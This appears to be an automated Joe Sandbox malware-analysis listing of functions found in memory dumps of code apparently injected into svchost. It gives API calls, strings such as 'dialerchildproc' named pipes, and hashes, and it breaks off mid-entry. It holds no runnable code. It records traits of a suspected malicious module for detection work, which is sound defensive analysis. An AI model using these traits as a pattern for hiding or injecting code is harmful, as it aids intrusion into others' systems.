Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 59b3c048340175dda705e04b33da8eef287338f84e38432b0e44bfee1e5aaebc
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 93213D36714B40A2FB11CB69F54835A63A0F389BE5FA04215EA5942BACDF3CC19ACB10

Function 000002295D56104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002295D5610AB
RegEnumValueW.ADVAPI32 ref: 000002295D56110E
GetProcessHeap.KERNEL32 ref: 000002295D561155
HeapAlloc.KERNEL32 ref: 000002295D561163
GetProcessHeap.KERNEL32 ref: 000002295D561187
HeapFree.KERNEL32 ref: 000002295D561195

Strings

d, xrefs: 000002295D5610CE

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: e8debce94c918ebd2bccc068a38c4033034fbb1ff3e4cd6db11c0c3b8dc11bd9
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: 0341A433214B80E7EB61CF95E4487AEB7A1F389794F408125EB8907B58DF38C1A5CB10

Function 000002295D5675F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002295D567618
__scrt_acquire_startup_lock.LIBCMT ref: 000002295D56766A
_RTC_Initialize.LIBCMT ref: 000002295D567698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002295D5676BE
__scrt_release_startup_lock.LIBCMT ref: 000002295D5676E9

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 177c773e1e7dfd8a5ed4220e107583d9124d25de35631a206f5b1d63bb2b8b62
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: AE81D021B10241A6FA629BFDB84D3596290B7457C0FD84125FA1847BAEEF38C8E7C730

Function 000002295D5369F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002295D536A18
__scrt_acquire_startup_lock.LIBCMT ref: 000002295D536A6A
_RTC_Initialize.LIBCMT ref: 000002295D536A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002295D536ABE
__scrt_release_startup_lock.LIBCMT ref: 000002295D536AE9

Memory Dump Source

Source File: 0000001D.00000002.2926248027.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d530000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: e9bb5c31c14fc3d395f6a425828c02ffbebde6951f409e7a1fe5992b683253f2
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 4981F021704685A6FA53AFED945935962D0EF95780FD4802DFA048779EDB38C8FB8730

Function 000002295D569804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 000002295D569889
GetLastError.KERNEL32 ref: 000002295D569897
LoadLibraryExW.KERNEL32 ref: 000002295D5698C1
FreeLibrary.KERNEL32 ref: 000002295D569907
GetProcAddress.KERNEL32 ref: 000002295D569913

Strings

api-ms-, xrefs: 000002295D5698A9

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: dc85a75abc711fb33c37209140bc320e9bd677249494bd85118dde110398db05
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 7F318431312650F1FE139B9AB4087996394B749BA0F994525FE2D4B39CEF38C4E6C720

Function 000002295D571B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 000002295D571BCD
GetLastError.KERNEL32 ref: 000002295D571BD9
CloseHandle.KERNEL32 ref: 000002295D571BF1
CreateFileW.KERNEL32 ref: 000002295D571C1C
WriteConsoleW.KERNEL32 ref: 000002295D571C3B

Strings

CONOUT$, xrefs: 000002295D571BFD

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 4d72f3105d719a63821fe754c6d7dd19382ae42c4a80501f2782a2bd43ef267e
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: D611C431314B5096F7518B8AE84871977A4F388FF4FA00225FE6E87798CF38C5A58750

Function 000002295D565C10 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002295D565C4B
GetThreadContext.KERNEL32 ref: 000002295D565DB5

Part of subcall function 000002295D565A40: GetCurrentThreadId.KERNEL32 ref: 000002295D565A44

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: af2c629c012e9adac4229a14eacd238263cdae950b7cfdce04b58a675a87641c
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: 39D18C76208B88D2DA71DB59F49835A77A0F3C8B84F540216FA8D47BA9DF3CC592CB10

Function 000002295D5630B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002295D5630D7
HeapAlloc.KERNEL32 ref: 000002295D5630EA
StrCmpNIW.SHLWAPI ref: 000002295D56316B
GetProcessHeap.KERNEL32 ref: 000002295D5631D1
HeapFree.KERNEL32 ref: 000002295D5631DF

Strings

dialer, xrefs: 000002295D563164

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 0933069cf0e1490756b4d83f88b27466ff5f6f5a4cb0ffb68886df60d643d9f4
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: 9B317021701B55A2FB56DF9AE84866967A0FB46BD4F888120EF4907B58EF38C4F3C710

Function 000002295D561A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002295D561A3A
K32GetModuleFileNameExW.KERNEL32 ref: 000002295D561A58
PathFindFileNameW.SHLWAPI ref: 000002295D561A67
lstrlenW.KERNEL32 ref: 000002295D561A73
StrCpyW.SHLWAPI ref: 000002295D561A86
CloseHandle.KERNEL32 ref: 000002295D561A94

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: b77691d71fa82fd0f0c879284ef49ff13d48701d03fc163ecb9bb793dd36b294
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: A3016D31300A41A6FB11DB96A45C76963A1F788FD0F984435EE9A43768DE3CC9D6C350

Function 000002295D5637AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002295D5637C8
GetCurrentProcess.KERNEL32 ref: 000002295D5637D6
VirtualProtectEx.KERNEL32 ref: 000002295D5637F8
GetCurrentProcess.KERNEL32 ref: 000002295D563819
VirtualProtectEx.KERNEL32 ref: 000002295D56383A
TerminateThread.KERNEL32 ref: 000002295D563849

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 4cbb42e127e58c53af39564505926530af553a3f5e6320148cbfec8e0bb101a7
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: 73118475301741A2FB269BA9F40D75663A0BB58BD5F940428EE590775CEF3CC0AAC720

Function 000002295D5690F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002295D569103
_IsNonwritableInCurrentImage.LIBCMT ref: 000002295D569198
RtlUnwindEx.NTDLL ref: 000002295D5691E7

Strings

csm, xrefs: 000002295D56917E
f, xrefs: 000002295D569116

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: a23fc60485f0c380312dd1d7e3229ddd13c337a1fb1e7acd51aa5a4cffb3b8c1
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: FF51B032311640EBEB16DF99F44CB593395F344B98FA08120EA164B78CEB35D9D2CB20

Function 000002295D5690D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002295D569103
_IsNonwritableInCurrentImage.LIBCMT ref: 000002295D569198
RtlUnwindEx.NTDLL ref: 000002295D5691E7

Strings

csm, xrefs: 000002295D56917E
f, xrefs: 000002295D569116

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: f5150f63948c35c53ac81c47d062bafe7da57ac8993b4762ae4789a995be2596
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 4B319E32310680E6E716DF59F84C71937A5F748BD8FA58114FE5A0B749DB38C9A2CB24

Function 000002295D561AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002295D561AD8
StrCmpNIW.SHLWAPI ref: 000002295D561AF2
lstrlenW.KERNEL32 ref: 000002295D561B01
StrCpyW.SHLWAPI ref: 000002295D561B16

Strings

\\?\, xrefs: 000002295D561AE6

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 7fe597ed2677da22335033f5e41d13b9115a435c11a0163dc208282d719bda32
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 3DF0A422300641A2FB318BA9F4987696760F754BD8FD48020EA484A96CDE2CC6DAC710

Function 000002295D563200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002295D563222
StrCpyW.SHLWAPI ref: 000002295D563232
StrCatW.SHLWAPI ref: 000002295D56323E
PathCombineW.SHLWAPI ref: 000002295D56324C

Strings

\\.\pipe\, xrefs: 000002295D563218

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: cc02822e64b4b43800a6494ef65c193e0582d1c11f55bb9244bc4ef4555baaa7
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: D5F08260304B80A1FA118B9BF90C1196221EB48FE0F988131FF6A07B2CCE2CC4E7C310

Function 000002295D56A138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002295D56A154
GetProcAddress.KERNEL32 ref: 000002295D56A16A
FreeLibrary.KERNEL32 ref: 000002295D56A187

Strings

mscoree.dll, xrefs: 000002295D56A14B
CorExitProcess, xrefs: 000002295D56A163

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 7eacd118fc183eabda9bc05fae293b562405534fa16fb932430ef6238a9dd696
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: 07F01261311644B1FF578BE9F88C36923A0AB48BD1FA42019F61B45578DF38C4EAC720

Function 000002295D5651B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002295D565236

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: cfd658ea2cdb61fb7e280d60c831be61231c77804aebe3abdfbc6e827c43d649
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: 5C02C932219B8096E7A1CF99F49835AB7A0F3C5B94F504115FA8E87BA8DF7CC495CB10

Function 000002295D570860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002295D5708A2
GetConsoleMode.KERNEL32 ref: 000002295D570960
GetLastError.KERNEL32 ref: 000002295D5709EA

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: d052b1c46727c19f43efd8b7e0256fe62ff6537c43c5cc0f5a60b0815a9477fd
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: DF81AC22B10650A9FB529BEDD8487AD27F0B754BD8FE44116FA0A5369ADB3484E3C330

Function 000002295D5657F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002295D565806

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 2e75c9d66f1ae270a0ccae9c8ac8bc829f1075925da208cb5abb1be85d45c1d2
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: 0861BC36619B44D6E7618B99F45831A77A0F3C8784FA00116FA8D47BACDB7CC5A2CF10

Function 000002295D571EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002295D571EE0
_set_statfp.LIBCMT ref: 000002295D571EFB
_set_statfp.LIBCMT ref: 000002295D571F17
_set_statfp.LIBCMT ref: 000002295D571F53

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: d00fc3ff6a8a2feef3ba3802974e7caae69bdcfd36a4a00ff7f8a0dc82fe5ffb
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: B811A922B56E0121F69A11ECE85E76910517B643F4FF46625FE77063DF8B548CE34134

Function 000002295D5412B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002295D5412E0
_set_statfp.LIBCMT ref: 000002295D5412FB
_set_statfp.LIBCMT ref: 000002295D541317
_set_statfp.LIBCMT ref: 000002295D541353

Memory Dump Source

Source File: 0000001D.00000002.2926248027.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d530000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: bba08c75069eb4ae0592ef4de81ae1046e0182a33f185f0024a95fadd8ac3b44
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: D811C622B5FE1461F66611EEE47EB6D10406B553B4FC80624FA7646FDE8B188CE34127

Function 000002295D563878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002295D563886
GetCurrentProcess.KERNEL32 ref: 000002295D5638B4
VirtualProtectEx.KERNEL32 ref: 000002295D5638D6
GetCurrentProcess.KERNEL32 ref: 000002295D5638F4
VirtualProtectEx.KERNEL32 ref: 000002295D563915

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: d9f4ad6a2dca8628e2ea8d3bc8c82d10d9319df7426a2d87402df6b7559ee48c
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 6A118E2A705B4092FB169BA9F41836967B0F788B90F980029EF9907798EF3DC596C710

Function 000002295D5384F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002295D538503
_IsNonwritableInCurrentImage.LIBCMT ref: 000002295D538598

Strings

f, xrefs: 000002295D538516
csm, xrefs: 000002295D53857E

Memory Dump Source

Source File: 0000001D.00000002.2926248027.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d530000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 01f5ff1fb9b5be4ee618e3ccf9128f27f383dc818439f1e97fcf397e8e08a064
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: FA51D772712600ABDB1ACF6DD448B193B95FB54B98FD18124FA164774CDB34C8E2C726

Function 000002295D5384D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002295D538503
_IsNonwritableInCurrentImage.LIBCMT ref: 000002295D538598

Strings

f, xrefs: 000002295D538516
csm, xrefs: 000002295D53857E

Memory Dump Source

Source File: 0000001D.00000002.2926248027.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d530000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 54cef47eacf2fdafb8c6ab38e85dc36da4425aedc6f44c8e3f84c76bb3317c6d
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 9931AF72311750F6E71ADF69E8487193BA4FB40B98F958014FE5A4774CCB38C9A2C726

Function 000002295D5614B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002295D5614D5
HeapFree.KERNEL32 ref: 000002295D5614E4
GetProcessHeap.KERNEL32 ref: 000002295D5614F0
HeapFree.KERNEL32 ref: 000002295D5614FF
GetProcessHeap.KERNEL32 ref: 000002295D56152A

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: c4733d2196c257afb400b46f69818893e68172c46ec69e2d92d4166db854acf0
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: 1B118132614F84E2E751CFAAF80825A7360F78ABD0F544029EB9A03718DF38C0A2C710

Function 000002295D5626F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002295D5627D4
StrCpyW.SHLWAPI ref: 000002295D5627ED

Strings

\\.\pipe\, xrefs: 000002295D5627DF

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: a24aa7111778482f37dc46ad5fb1c8f263fadef3bef945fd79dc8ec058fcd767
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: 8071E33230078162EB669FADA9583AE6790F785BC4FC44026FE4943B8DDE34C9E6C710

Function 000002295D5624DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002295D5625C3
StrCpyW.SHLWAPI ref: 000002295D5625DA

Strings

\\.\pipe\, xrefs: 000002295D5625CE

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: bd4259202f19020f7acc39bfef5f09d3a58e72965e4eacd60525bfbc4f07c94f
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 00511A3230478162FA369EADB15C3AA6651F385784FD40025FF9A07B9DDE35C4A7CB60

Function 000002295D570604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002295D57071B
